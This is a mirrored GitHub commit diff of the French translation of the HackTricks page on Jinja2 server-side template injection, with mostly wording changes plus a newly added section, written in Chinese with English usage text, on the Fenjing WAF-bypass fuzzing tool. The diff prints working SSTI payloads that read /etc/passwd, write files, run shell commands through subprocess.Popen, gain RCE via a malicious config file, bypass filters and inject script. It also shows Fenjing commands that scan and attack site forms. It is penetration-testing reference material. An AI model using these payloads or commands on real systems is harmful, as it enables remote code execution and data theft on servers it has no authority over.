mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/jinja2-s
This commit is contained in:
parent
3d6fc7437a
commit
9218447aaa
1 changed files with 39 additions and 14 deletions
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
## **Divers**
|
||||
|
||||
### **Déclaration de débogage**
|
||||
|
||||
Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
|
||||
Si l'extension Debug est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -65,7 +63,7 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
|
|||
```
|
||||
## **Injection Jinja**
|
||||
|
||||
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et de récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**.
|
||||
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**.
|
||||
|
||||
### Accès aux objets globaux
|
||||
|
||||
|
@ -85,7 +83,7 @@ Ensuite, à partir de ces objets, nous devons accéder à la classe : **`<class
|
|||
|
||||
Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**.
|
||||
|
||||
Consultez ces exemples :
|
||||
Vérifiez ces exemples :
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
@ -125,7 +123,7 @@ dict.__mro__[-1]
|
|||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### Évasion de RCE
|
||||
### Échappement de RCE
|
||||
|
||||
**Ayant récupéré** `<class 'object'>` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
|
||||
|
||||
|
@ -137,7 +135,7 @@ L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des cen
|
|||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**RCE**
|
||||
**Exécution de code à distance (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -205,19 +203,19 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
**Éviter l'encodage HTML**
|
||||
|
||||
Par défaut, Flask encode en HTML tout ce qui se trouve à l'intérieur d'un modèle pour des raisons de sécurité:
|
||||
Par défaut, Flask encode en HTML tout l'intérieur d'un modèle pour des raisons de sécurité:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'ils soient **encodés en HTML**, comme ceci :
|
||||
**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'il soit **encodé en HTML**, comme ceci :
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Exécution de code à distance en écrivant un fichier de configuration malveillant.**
|
||||
**RCE en écrivant un fichier de configuration malveillant.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -241,7 +239,7 @@ Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
## Injection Jinja sans **\<class 'object'>**
|
||||
|
||||
À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'obtenir une **RCE sans utiliser cette classe.**\
|
||||
Si vous parvenez à accéder à n'importe quelle **fonction** à partir de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, la **RCE** est très **simple**.
|
||||
Si vous parvenez à accéder à une **fonction** à partir de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, la **RCE** est très **simple**.
|
||||
|
||||
Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et tout **autre** objet **global** intéressant auquel vous avez accès avec :
|
||||
```bash
|
||||
|
@ -284,10 +282,37 @@ Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les
|
|||
|
||||
# All the bypasses seen in the previous sections are also valid
|
||||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门针对CTF的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器,搜索绕过,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
Default port 11451
|
||||
|
||||
scan: scan the entire website
|
||||
Extract all forms from the website based on the form element and attack them
|
||||
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
||||
Example:python -m fenjing scan --url 'http://xxx/'
|
||||
|
||||
crack: Attack a specific form
|
||||
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
||||
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
||||
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
||||
|
||||
crack-path: attack a specific path
|
||||
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
||||
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
||||
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
||||
|
||||
crack-request: Read a request file for attack
|
||||
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
||||
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
||||
```
|
||||
## Références
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Vérifiez [l'astuce d'attribut pour contourner les caractères interdits ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Vérifiez [l'astuce d'attr pour contourner les caractères interdits ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
|
|
Loading…
Reference in a new issue